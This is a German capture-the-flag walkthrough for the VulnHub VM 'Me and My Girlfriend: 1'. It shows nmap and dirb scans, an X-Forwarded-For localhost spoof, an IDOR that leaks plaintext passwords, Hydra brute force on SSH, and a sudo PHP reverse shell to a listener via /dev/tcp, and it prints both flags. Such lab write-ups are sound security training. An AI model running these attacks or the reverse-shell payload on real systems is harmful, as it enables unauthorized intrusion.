VM: Me and My Girlfriend: 1
Quelle: www.vulnhub.com
Ziel: bekommen der Root Rechte.
Tools: NMAP, DIRB, Hydra, Burp Suite CE, netcat
Techniken: Netzwerk & Port Scan, Enumeration, Privilege Escalation, Reverse Shell, Brute Force, Proxy, HTTP-Header
Schritt 1: Scanning
Voraussetzungen: VM ist gestartet, eine IP wurde durch DHCP zugewiesen.
Nachdem die VM gestartet und geladen wurde, müssen wir die IP von der VM ermitteln. Dabei hilft uns das Tool NMAP
welches beim Kali Linux schon vorinstalliert ist. Falls auf deinem System kein NMAP
installiert ist, kannst du es aus Repositorien oder von der Seite des Entwicklers herunterladen und installieren.
Mit dem Befehl nmap -PE -sn -oG - 192.168.178.1/24
scannen wir unser Netzwerk auf aktive Geräte, die auf ein Ping antworten. Als Netzwerkadresse muss du dein Netzwerkbereich eingeben.
Bei mir wurde der VM die IP 192.168.178.82
(rot markiert) zugewiesen.
Nachdem wir die IP von der VM ermittelt haben, können wir einen Port-Scan durchführen. Mit einem Port-Scan kann ermittelt werden welche Dienste auf der VM laufen. Das machen wir mit dem gleichen Tool nur mit anderem Parameter. nmap -p- -A 192.168.178.82
gibt uns alle offene Ports aus, die auf ein TCP Verbindungsversuch antworten.
Wie auf dem Bild zu sehen ist, wurden zwei offene Ports ermittelt:
Port | Service |
22 | SSH |
80 | HTTP |
Schritt 2: Enumeration
Nachdem wir die offenen Ports ermittelt haben, ist die Zeit gekommen so viel wie möglich Informationen über das System zu kriegen. Fangen wir mit dem Port 80 – HTTP Server an. Dazu geben wir einfach die IP, die wir im Schritt 1 ermittelt haben in einen beliebigen Internet Browser an.http://192.168.178.82
Beim Aufrufen der Startseite bekommen wir eine Meldung:
Who are you? Hacker? Sorry This Site Can Only Be Accessed local!
So wie es aussieht kann die Seite nur lokal aufgerufen werden.
Probieren wir den Server mit DIRB
zu scannen. Vielleicht kriegen wir an da etwas mehr Informationen raus.
dirb http://192.168.178.82
Hier können wir schon etwas mehr Informationen finden. Es sind die robots.txt
Datei und zwei Verzeichnisse /config
und /misc
. Wenn wir die entsprechenden Verzeichnisse im Internet Browser öffnen, finden wir zwei weitere Dateien drin: /misc/process.php
und /config/config.php
. Leider kriegen wir beim Aufruf dieser Dateien nur leere Seiten. Beim Öffnen der robots.txt
Datei sehen wir folgenden Inhalt:
User-Agent: *
Allow: /heyhoo.txt
Wenn wir die Datei /heyhoo.txt öffnen, sehen wir folgende Text:
Great! What you need now is reconn, attack and got the shell
welches uns leider auch nicht weiter bringt.
Schritt 3: Infiltration
Nachdem wir die ersten Informationen über den Host gesammelt haben, können wir die weiteren Schritte überlegen. Zu diesem Zeitpunkt sehe ich zwei Angriffspunkte: die index.php
Seite und die zwei .php
Skripte. Bei den .php
Skripten könnte man versuchen nach möglichen LFI Schwachstellen zu prüfen und bei der index.php
Seite wir können versuchen uns als lokaler Benutzer auszugeben.
Fangen wir mit den index.php
an. Die Meldung, die wir gekriegt haben, teilt uns mit, dass die Seite nur von Localhost erreichbar ist. Localhost hat unter anderem die IP: 127.0.0.1
. Versuchen wir uns mit der Hilfe vom HTTP-Header
X-Forwarded-For: 127.0.0.1
als Proxy für den Localhost zu fungieren. Um dies zu machen, können entweder bestimmte Interner Browser Plugins oder ein Proxy-Programm nutzen. Da bei mir das Burp Suite CE
schon installiert ist und immer im Hintergrund läuft, nutze ich es, um den HTTP-Header
zu setzen.
Wenn wir jetzt versuchen die index.php Seite aufzurufen, sehen wir folgender Inhalt:
Schritt 4: Enumeration
Jetzt können wir hier eine Seite sehen, die uns Login und Registrierungsmöglichkeiten bietet. Eine Analyse der Quellcodes der Seite lieferte keine nutzbare Informationen. Probieren wir uns einfach mal hier zu registrieren, um zu sehen welche Informationen einem Registriertem Benutzer zur Verfügung stehen. Nachdem wir einen Benutzer registriert und uns eingeloggt haben, können wie auf ein leeres Dashboard und auf die Profil-Seite zugreifen.
Beim Aufrufen der Profil-Seite können wir sehen, dass unsere ID=12
ist, was ist wenn wir diese ID
ändern? Können wir eventuell weitere Benutzer identifizieren? Gesagt, getan. Wir ändern den Parameter auf ID=1
und kriegen die Informationen über einen anderen Benutzer.
Was mir an der Stelle noch aufgefallen ist, dass die angezeigte Passwortlänge
anders ist als bei meinem Benutzer
. Wird das Passwort
mitgeladen? Da werfen wir doch einen Blick in den Quellcode
. Und tatsächlich, das Passwort
wird im Klartext
mitgeladen.
<form action="#" method="POST">
<label for="name">Name</label>
<input type="text" name="name" id="name" value="Eweuh Tandingan"><br>
<label for="username">Username</label>
<input type="text" name="username" id="username" value="eweuhtandingan"><br>
<label for="password">Password</label>
<input type="password" name="password" id="password" value="skuyatuh"><br>
<button disabled="disabled">Change</button>
So wie es aussieht können wir auf diese Weise alle Benutzer
samt Passwörtern
auslesen. Nach kurzer Zeit hatte ich folgende Benutzer
und Passwörter
sammeln können.
Benutzer | Passwort |
eweuhtandingan | skuyatuh |
aingmaung | qwerty!!! |
sundatea | indONEsia |
sedihaingmah | cedihhihihi |
alice | 4lic3 |
abdikasepak | dorrrrr |
Schritt 5: Infiltration
An dieser Stelle haben wir sechs Benutzer
mit entsprechenden Passwörtern
sammeln können. Probieren wir uns damit per SSH
zu verbinden. Um das Ganze zu automatisieren speichere ich die Benutzer in users.txt
und die Passwörter in pass.txt
. Zum Brute Force des SSH Zugangs benutzen wir das Programm Hydra was dafür hervorragend passt.
hydra -L users.txt -P pass.txt 192.168.178.82 ssh
Ein Erfolg! Der Benutzer „alice
“ benutzt gleiche Zugangsdaten zum System und zur Web-Seite.
Loggen wir uns mit den ermittelten Zugangsdaten per SSH an und gucken uns erstmal um.
Nach dem Einloggen finden wir ein verstecktes Verzeichnis „./my_secret
“ indem wir die Dateien flag1.txt
und my_notes.txt
finden. Damit haben wir den ersten Flag schon gefunden. Es bleibt nur noch der zweite.
Flag 1 : gfriEND{2f5f21b2af1b8c3e227bcf35544f8f09}
In der my_notes.txt
finden wir keine nützlichen Informationen.
Prüfen wir ob wir irgendwelche Befehle als root ausführen können.
Wie es aussieht dürfen wir PHP
als Benutzer
root
ohne
Passwort
ausführen. Das eignet sich super, um eine Reverse Shell
aufzubauen. Dazu erstellen wir einfach eine rshell.php
Datei mit folgendem Inhalt:
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.178.100/8888 0>&1'");
?>
Damit unsere Verbindung aufgebaut werden starten wir lokal einen netcat, welches auf dem Port 8888 lauscht:
nc -lvp 8888
Jetzt starten wir unseren rshell.php
Skript:
sudo php rshell2.php
und bauen damit eine Reverse Shell Verbindung auf. Ein Blick in den root Verzeichnis liefert uns auf die zweite Flag Datei.
Flag 2: gfriEND{56fbeef560930e77ff984b644fde66e7}